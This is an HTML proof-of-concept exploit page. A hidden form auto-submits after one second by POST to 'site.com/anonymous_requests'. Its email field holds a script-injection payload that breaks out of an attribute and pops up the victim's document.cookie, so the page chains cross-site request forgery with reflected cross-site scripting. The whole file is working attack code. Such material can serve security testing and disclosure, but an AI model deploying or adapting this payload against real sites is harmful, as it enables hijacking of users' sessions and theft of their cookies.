<html>

<head></head>

<body>

<form method="POST" action="https://site.com/anonymous_requests"name="explForm">

<input type=hidden name=email value='"><script>alert("I could have just stolen your cookie" + document.cookie);</script>'

</form>

<script language="Javascript">

setTimeout('explForm.submit()', 1000 * 1);

</script>

</body>